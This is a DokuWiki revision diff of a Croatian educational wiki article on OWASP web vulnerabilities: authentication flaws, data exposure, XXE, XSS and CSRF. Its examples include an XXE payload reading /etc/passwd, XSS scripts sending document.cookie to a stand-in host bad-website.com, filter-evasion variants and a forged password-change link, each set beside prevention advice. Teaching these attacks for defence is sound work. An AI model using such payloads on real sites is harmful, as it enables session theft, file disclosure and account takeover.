Dieses Dokuwiki verwendet ein von Anymorphic Webdesign erstelltes Thema.

Razlike

Slijede razlike između dviju inačica stranice.

Poveznica na ovu usporedbu

Starije izmjene na obje strane Starija izmjena
Novija izmjena
Starija izmjena
racfor_wiki:mrezna_forenzika:ranjivosti_web_aplikacija [2020/01/09 22:52]
kfugosic [Uvod]
racfor_wiki:mrezna_forenzika:ranjivosti_web_aplikacija [2024/12/05 12:24] (trenutno)
Redak 34: Redak 34:
 ===== Autentifikacija i upravljanje sjednicama (Broken Authentication) ===== ===== Autentifikacija i upravljanje sjednicama (Broken Authentication) =====
  
-Budući da HTTP protokol ne čuva stanje, podaci o sjednici ili korisniku moraju putovati u svakom zahtjevu što može predstavljati sigurnosni rizik. Također, postoje brojne ranjivosti vezane za autentifikaciju korisnika, a nabrojane su u nastavku.+Postoje brojne ranjivosti vezane za autentifikaciju korisnika, a nabrojane su u nastavku.
  
 Pod ranjivosti vezane za autentifikaciju ubraja se sljedeće:\\ Pod ranjivosti vezane za autentifikaciju ubraja se sljedeće:\\
Redak 42: Redak 42:
 - neotpornost na automatizirane napade (npr. credential stuffing)\\ - neotpornost na automatizirane napade (npr. credential stuffing)\\
 - slab ili nepostojeći oporavak lozinke\\ - slab ili nepostojeći oporavak lozinke\\
-- spremanje lozinke u čistom (eng. plain text) obliku ili slabim hashiranjem\\+- spremanje lozinke u čistom (eng. plain text) obliku ili slabim sažimanjem\\
 - nepostojeća višestruka autorizacija (eng. Multi-factor authentication) - nepostojeća višestruka autorizacija (eng. Multi-factor authentication)
  
Redak 55: Redak 55:
 ===== Nesigurno upravljanje osljetljivim podacima (Sensitive Data Exposure) ===== ===== Nesigurno upravljanje osljetljivim podacima (Sensitive Data Exposure) =====
  
-Šta je sve potrenbo osiguratgdpr…+Ova ranjivost odnosi se na osjetljive podatke u prijenosu ili u pohranjenom obliku. Budući da HTTP protokol ne čuva stanjepodaci o sjednici ili korisniku moraju putovati u svakom zahtjevu što može predstavljati sigurnosni rizik.
  
-Ova ranjivost odnosi se na osjetljive podatke u prijenosu ili u pohranjemon obliku. Razne web aplikacije raspolažu raznim osjetljivim podacima, poput lozinki, brojeva kreditnih kartica, zdravstvenim i osobnim podacima ili poslovnim tajnama. Regulativama poput GDPR-a (General Data Protection Regulation) pokušava se prisliti sve one koji upravljaju osjetljivim podacima da paze na njihovu sigurnost. Za početak, veoma je bitno da osjetljivi podaci ne putuju u nešifriranom obliku protokolima kao što su HTTP, SMTP i FTP. Nadalje, bitno je kako ih pohranjujemo. Osjetljive podatke potrebno je šifrirati i pritom obratiti pozornost da koristimo siguran algoritam šifriranja. Uz to, moramo paziti koji podaci su dostupni kojim korisnicima i onemogućiti da korisnici jednostavnim trikovima, na primjer izmjenom URL adrese ili ubacivanjem malicioznog koda kroz prostore za unos teksta ili datoteka, ili nekim kompliciranijim metodama dođu do podataka koji nisu njima namjenjeni. Također, potrebno je i provjeravati valjanost certifikata korisnika.+Razne web aplikacije raspolažu raznim osjetljivim podacima, poput lozinki, brojeva kreditnih kartica, zdravstvenim i osobnim podacima ili poslovnim tajnama. Regulativama poput GDPR-a (General Data Protection Regulation) pokušava se prisiliti sve one koji upravljaju osjetljivim podacima da paze na njihovu sigurnost.
  
-Ako web aplikacija svoje podatke nije dobro osigurala, posljedice mogu biti katastrofalne, a mogu biti samo veoma iritantne poput spama na slici 3. U ovom slučaju riječ je o curenju email adrese i lozinke sa treće stranice, prvotni napadač je email i lozinku vjerojatno prodao te sada kupac isprobava kupljenu kombinaciju emaila i lozinke na raznim stranicama, u ovom slučaju na Blizzardu.+Za početak, veoma je bitno da osjetljivi podaci ne putuju u nešifriranom obliku protokolima kao što su HTTP, SMTP i FTP. Nadalje, bitno je kako ih pohranjujemo. Osjetljive podatke potrebno je šifrirati i pritom obratiti pozornost da koristimo siguran algoritam šifriranja. Uz to, moramo paziti koji podaci su dostupni kojim korisnicima i onemogućiti da korisnici jednostavnim trikovima, na primjer izmjenom URL adrese ili ubacivanjem malicioznog koda kroz prostore za unos teksta ili datoteka, ili nekim kompliciranijim metodama dođu do podataka koji nisu njima namijenjeni. Također, potrebno je i provjeravati valjanost certifikata korisnika. 
 + 
 +Ako web aplikacija svoje podatke nije dobro osigurala, posljedice mogu biti katastrofalne, a mogu biti samo veoma iritantne poput spama na slici 3. U ovom slučaju riječ je o curenju email adrese i lozinke treće stranice, prvotni napadač je email i lozinku vjerojatno prodao te sada kupac isprobava kupljenu kombinaciju emaila i lozinke na raznim stranicama, u ovom slučaju na Blizzardu.
  
 {{  https://i.gyazo.com/9bb7a5b762243ac72597b274eea7b587.png?nolink&400x637  }} {{  https://i.gyazo.com/9bb7a5b762243ac72597b274eea7b587.png?nolink&400x637  }}
Redak 65: Redak 67:
 Slika 3) Spam uzrokovan curenjem podataka Slika 3) Spam uzrokovan curenjem podataka
  
-Preporučse da na različitim mjestima koriste različite lozinke, te da se sumnjive stranice izbjegavaju. Stranice poput [[http://haveibeenpwned.com/|http://haveibeenpwned.com]] omogućuju provjeru komprimitiranosti određene email adrese.+Preporučuje se da na različitim mjestima koriste različite lozinke (upravo radi toga napad na prethodnoj slici nije bio uspješan), te da se sumnjive stranice izbjegavaju. Stranice poput [[http://haveibeenpwned.com|http://haveibeenpwned.com]] omogućuju provjeru kompromitiranosti određene email adrese.
  
 Od 2017. godine ova se ranjivost nalazi na trećem mjestu OWASP Top 10 ljestvice. Od 2017. godine ova se ranjivost nalazi na trećem mjestu OWASP Top 10 ljestvice.
 +
  
 ===== Vanjski XML entiteti (XXE) ===== ===== Vanjski XML entiteti (XXE) =====
  
-XXE (XML External Entity), često nazivan i XML umetanje (eng. XML injection), je napad usmjeren na web aplikacije koje obrađuju XML tipove podataka.Napad je najlakše objasniti sljedećim primjerom gdje želimo dodati novi blog unos na nekoj web stranici:<code>+**XXE ** (XML External Entity), često nazivan i **XML umetanje** (eng. XML injection), je napad usmjeren na web aplikacije koje obrađuju XML tipove podataka. Napad je najlakše objasniti sljedećim primjerom gdje želimo dodati novi blog unos na nekoj web stranici: 
 +<code>
 <?xml version="1.0" encoding="ISO-8859-1"?> <?xml version="1.0" encoding="ISO-8859-1"?>
 <post> <post>
Redak 85: Redak 89:
 </code> </code>
  
-Sada ćemo izmijeniti podatke koje šaljemo u XML formatu kako bismo pristupili zaštičenim podacima. Sljedeća XML poruka će sadržaj datoteke /etc/passwd prepisati u entitet (varijablu) xxe, te ih zatim ispisati umjesto naslova.+Sada ćemo izmijeniti podatke koje šaljemo u XML formatu kako bismo pristupili zaštićenim podacima. Sljedeća XML poruka će sadržaj datoteke /etc/passwd prepisati u entitet (varijablu) xxe, te ih zatim ispisati umjesto naslova.
  
 <code> <code>
Redak 97: Redak 101:
 </code> </code>
  
-Važno je obratiti pozornost na treću liniju u kojoj se definira vanjski entitet (eng. external entity), odnosno u kojoj se sadržaj datoteke /etc/passwd učitava u entitet xxe.Ovaj puta od stranice dobivamo odgovor:+Važno je obratiti pozornost na treću liniju u kojoj se definira vanjski entitet (eng. external entity), odnosno u kojoj se sadržaj datoteke /etc/passwd učitava u entitet xxe. Ovaj puta od stranice dobivamo odgovor:
  
 <code> <code>
-Blog post sa naslovom root:x:0:0:root:/root:/bin/bash+Blog post naslovom root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 bin:x:2:2:bin:/bin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin
Redak 122: Redak 126:
 </code> </code>
  
-Kako bi spriječili ovakve napade, potrebno je analizirati i validirati XML okumente prije parsiranja. U tu svrhu mogu nam pomoći programska rješenja za analizu izvornog koda aplikacija, više o njima moguće je pročitati na sljedećoj [[http://www.owasp.org/index.php/Source_Code_Analysis_Tools|poveznici]].+Kako bi spriječili ovakve napade, potrebno je analizirati i validirati XML dokumente prije parsiranja. U tu svrhu mogu nam pomoći programska rješenja za analizu izvornog koda aplikacija, više o njima moguće je pročitati na sljedećoj [[http://www.owasp.org/index.php/Source_Code_Analysis_Tools|poveznici]].
  
 OWASP "šalabahter" za prevenciju XXE ranjivosti dostupan je na sljedećoj [[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE Injection|poveznici]]. OWASP "šalabahter" za prevenciju XXE ranjivosti dostupan je na sljedećoj [[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE Injection|poveznici]].
 +
  
 ===== Cross Site Scripting (XSS) ===== ===== Cross Site Scripting (XSS) =====
  
-Cross Site Scripting je jedan od poznatijih napada u kojem se iskorištava svojstvo da se određeni kod, pisan primjerice u Javascriptu ili HTML-u, izvršava u web browseru na računalu klijenta. Ciljevi ovakvog napada najčešće su krađa kolačića (eng. cookies) ili tokena sjednice (eng. session token) što je nužno za preuzimanje identiteta klijenta i korištenje istoga u štetne svrhe. Također, često je i umetanje sadržaja na napadnutu web stranicu, poput reklama, //phishing// obrazaca za unos(eng. form), //keyloggera// ili preusmjeravanje na zlonamjerno sjedište.+**Cross Site Scripting** je jedan od poznatijih napada u kojem se iskorištava svojstvo da se određeni kod, pisan primjerice u Javascriptu ili HTML-u, izvršava u web browseru na računalu klijenta. Ciljevi ovakvog napada najčešće su krađa kolačića (eng. cookies) ili tokena sjednice (eng. session token) što je nužno za preuzimanje identiteta klijenta i korištenje istoga u štetne svrhe. Također, često je i umetanje sadržaja na napadnutu web stranicu, poput reklama, //phishing// obrazaca za unos(eng. form), //keyloggera// ili preusmjeravanje na zlonamjerno sjedište.
  
 XSS napadi dijele se u dvije osnovne skupine: pohranjeni (eng. stored) i odbijeni (ili odraženi, eng. reflected). XSS napadi dijele se u dvije osnovne skupine: pohranjeni (eng. stored) i odbijeni (ili odraženi, eng. reflected).
  
-**Pohranjeni **napadi su oni gdje se zlonamjerna skripta trajno pohranjuje na ciljne poslužitelje, na primjer u bazi podataka, dnevniku posjetitelja, listi komentara i slično. Kada žrtva zatraži pohranjenu informaciju, ona dobiva malicioznu skriptu koja se zatim izvršava u njenom web pretraživaču. Uzmimo za primjer da neki forum ne provjerava kakve komentare korisnici objavljuju. Korisnik može u polje komentara staviti skriptu:<code>+**Pohranjeni XSS **napadi su oni gdje se zlonamjerna skripta trajno pohranjuje na ciljne poslužitelje, na primjer u bazi podataka, dnevniku posjetitelja, listi komentara i slično. Kada žrtva zatraži pohranjenu informaciju, ona dobiva malicioznu skriptu koja se zatim izvršava u njenom web pretraživaču. Uzmimo za primjer da neki forum ne provjerava kakve komentare korisnici objavljuju. Korisnik može u polje komentara staviti skriptu: 
 +<code>
 <script> <script>
   document.location='http://bad-website.com/cookiestealer?c='+document.cookie;   document.location='http://bad-website.com/cookiestealer?c='+document.cookie;
Redak 146: Redak 152:
 </code> </code>
  
-Korisnik vjerojatno neće uopće primjetiti da se ovaj kod izveo.+Korisnik vjerojatno neće uopće primijetiti da se ovaj kod izveo.
  
-**Odbijeni **napadi šalju se žrtvama drugim putem, poput e-pošte ili neke druge web stranice. Ako korisnik klikne na zlonamjernu vezu, ispuni i pošalje zlonamjeran obrazac ili pak samo posjeti zlonamjernu web stranicu, zlonamjeran kod putuje na ranjivu web stranicu, što odražava napad natrag u korisnikov preglednik. Preglednik izvršava kod jer je došao sa "pouzdanog" poslužitelja.+**Odbijeni XSS **napadi šalju se žrtvama drugim putem, poput e-pošte ili neke druge web stranice. Ako korisnik klikne na zlonamjernu vezu, ispuni i pošalje zlonamjeran obrazac ili pak samo posjeti zlonamjernu web stranicu, zlonamjeran kod putuje na ranjivu web stranicu, što odražava napad natrag u korisnikov preglednik. Preglednik izvršava kod jer je došao sa "pouzdanog" poslužitelja.
 <code> <code>
 <a href="http://vulnerable-web.com?q=<script%20src='http://bad-website.com/cookiethief.js'></script>">Unsubscribe</a> <a href="http://vulnerable-web.com?q=<script%20src='http://bad-website.com/cookiethief.js'></script>">Unsubscribe</a>
Redak 157: Redak 163:
 <code> <code>
 "%3cscript%3e%61lert(document.cookie)%3c/script%3e "%3cscript%3e%61lert(document.cookie)%3c/script%3e
-<a href="http://vulnerable-web.com?q=news<\script%20src=”http://bad-website.com/cookiethief.js”">Unsubscribe</a> 
 <body onload=alert(document.cookie)> <body onload=alert(document.cookie)>
 <b onmouseover=alert(document.cookie)>click me!</b> <b onmouseover=alert(document.cookie)>click me!</b>
Redak 166: Redak 171:
  
 OWASP “šalabahter” za prevenciju XSS ranjivosti dostupan je na sljedećoj [[http://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html|poveznici]]. OWASP “šalabahter” za prevenciju XSS ranjivosti dostupan je na sljedećoj [[http://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html|poveznici]].
 +
  
 ===== Cross Site Request Forgery (CSRF) ===== ===== Cross Site Request Forgery (CSRF) =====
  
-CSRF je napad pri kojem se žrtva namami da pošalje naredbu ranjivoj web aplikaciji u kojoj je trenutno prijavljena. Ranjivost iskorištava svojstvo preglednika da automatski uključuju autentifikacijske podatke (npr. sjednicu, IP adresu) u svaki zahtjev, te da sjedište vjeruje pregledniku korisnika. Ovaj napad se još naziva i XSRF, slično XSS-u s kojim se često koristi zajedno. Na slici 4 prikazan je jednostavan obrazac za promjenu lozinke, a ispod slike pripadan HTML kod.+**CSRF **je napad pri kojem se žrtva namami da pošalje naredbu ranjivoj web aplikaciji u kojoj je trenutno prijavljena. Ranjivost iskorištava svojstvo preglednika da automatski uključuju autentifikacijske podatke (npr. sjednicu, IP adresu) u svaki zahtjev, te da sjedište vjeruje pregledniku korisnika. Ovaj napad se još naziva i **XSRF**, slično XSS-u s kojim se često koristi zajedno. Na slici 4 prikazan je jednostavan obrazac za promjenu lozinke, a ispod slike pripadan HTML kod.
  
 {{  https://i.gyazo.com/fa4214c237d985e698738b30c030ff5e.png?nolink&599x296  }}Slika 4) Obrazac za promjenu lozinke {{  https://i.gyazo.com/fa4214c237d985e698738b30c030ff5e.png?nolink&599x296  }}Slika 4) Obrazac za promjenu lozinke
Redak 192: Redak 198:
 Ako korisnik na nju klikne, promjenit će svoj password u password123. Sada zamislimo da neka druga stranica nudi opciju slanja novca i kakve bi posljedice donesao ovakav propust u kojem napadač jednostavnim slanjem posebno složene poveznice može nekome ukrasti novac. Ako korisnik na nju klikne, promjenit će svoj password u password123. Sada zamislimo da neka druga stranica nudi opciju slanja novca i kakve bi posljedice donesao ovakav propust u kojem napadač jednostavnim slanjem posebno složene poveznice može nekome ukrasti novac.
  
-Ova ranjivost od 2017. godine više ne spada u OWASP Top 10, a razni okviri poput Spring Security-a imaju uključenu zaštitu protiv istoga u inicijalnim postavkama. Zaštita se sastoji od CSRF tokena odnosno jedinstvene, tajne i pseudonasumične vrijednosti koja se web sjedištu predaje unutar HTTP zahtjeva. U kontekstu prethodnog primjera, dovoljno bi bilo dodati još jedno ulazno polje: +Ova ranjivost od 2017. godine više ne spada u OWASP Top 10, a razni okviri poput Spring Security-a imaju uključenu zaštitu protiv istoga u inicijalnim postavkama. Zaštita se sastoji od **CSRF tokena** odnosno jedinstvene, tajne i pseudoslučajne vrijednosti koja se web sjedištu predaje unutar HTTP zahtjeva. U kontekstu prethodnog primjera, dovoljno bi bilo dodati još jedno ulazno polje:
 <code> <code>
 <input type="hidden" name="csrf-token" value="d7H8juiKjdDe3r8Uijhg987aVBN" /> <input type="hidden" name="csrf-token" value="d7H8juiKjdDe3r8Uijhg987aVBN" />
 </code> </code>
  
-Ovo je rješenje je dobro, no i dalje potencijalno ranjivo XSS napadom.\+Ovo je rješenje je dobro, no i dalje potencijalno ranjivo XSS napadom. 
 OWASP “šalabahter” za prevenciju CSRF ranjivosti dostupan je na sljedećoj [[https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html|poveznici]]. OWASP “šalabahter” za prevenciju CSRF ranjivosti dostupan je na sljedećoj [[https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html|poveznici]].
  
racfor_wiki/mrezna_forenzika/ranjivosti_web_aplikacija.1578610328.txt.gz · Zadnja izmjena: 2024/12/05 12:23 (vanjsko uređivanje)
Dieses Dokuwiki verwendet ein von Anymorphic Webdesign erstelltes Thema.
CC Attribution-Share Alike 4.0 International
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0